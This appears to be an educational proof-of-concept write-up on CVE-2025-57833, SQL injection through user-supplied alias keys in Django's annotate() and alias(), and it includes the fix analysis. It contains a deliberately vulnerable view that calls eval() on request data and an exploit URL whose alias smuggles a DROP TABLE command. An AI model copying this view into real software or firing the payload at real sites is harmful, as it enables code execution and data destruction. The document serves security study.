
Educational proof-of-concept demonstrating SQL injection via dynamic aliases in Django's annotate() and alias() methods (CVE-2025-57833). Includes vulnerable code, exploitation example, and fix analysis.
An alias is a name given to a column or aggregation result in an SQL query.
In Django, aliases are used with the annotate() or alias() methods to name computed fields.
Example:
from django.db.models import Count
books = Book.objects.annotate(book_count=Count('id'))
Here, book_count is an alias for the result of Count('id').
This makes it possible to retrieve a readable name for a computed column.
To go quickly, you can insert data via the shell:
python manage.py shell
Commands to run:
from myapp.models import Author, Book
a = Author.objects.create(name=" houchi pierre")
Book.objects.create(title="Les belles filles", author=a)
Book.objects.create(title="Les baux arcons", author=a)
exit()
Before Django 4.2.23, it was possible to inject SQL via dynamic aliases provided by the user.
This vulnerability is known as CVE-2025-57833.
It affected the annotate() and alias() functions when a dictionary with expansion (**kwargs) was used with unfiltered keys coming from the user.
myapp/views.py)import json
from django.db.models import Count
from django.http import JsonResponse
from .models import Author
def vulnerable_view(request):
# Retrieve the alias from the URL
alias_param = request.GET.get("alias", "{}")
try:
# ⚠️ Vulnerable: direct evaluation of user data
alias_dict = json.loads(alias_param)
for key, value in alias_dict.items():
alias_dict[key] = eval(value) # dangerous! allows arbitrary code execution
# Create the queryset with dynamic annotation
qs = Author.objects.annotate(**alias_dict).values("name", *alias_dict.keys())
# Return results
return JsonResponse(list(qs), safe=False)
except Exception as e:
return JsonResponse({"error": str(e)})
alias_param = request.GET.get("alias", "{}")
Retrieves the value of the alias parameter passed by the user.
alias_dict = json.loads(alias_param)
Transforms the JSON string into a Python dictionary.
alias_dict[key] = eval(value)
⚠️ Very dangerous: eval() executes the string as Python code.
The user could inject destructive SQL.
Author.objects.annotate(**alias_dict)
Dynamically applies annotations with the provided aliases.
myapp/models.py)from django.db import models
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
def __str__(self):
return self.title
Explanation:
Author and Book are linked by a ForeignKey relationship.Author to compute information about its books.http://127.0.0.1:8000/vuln/?alias={"evil); DROP TABLE myapp_book;--":"Count('id')"}
Django now forbids certain characters in aliases:
--)If the URL contains these characters, Django raises an error:
Column aliases cannot contain whitespace characters, quotation marks, semicolons, or SQL comments.
http://127.0.0.1:8000/vuln/?alias={"books_count":"Count('book')"}
eval() on values coming from the user.eval() on user data.Author: Loïc
Date: 06/09/2025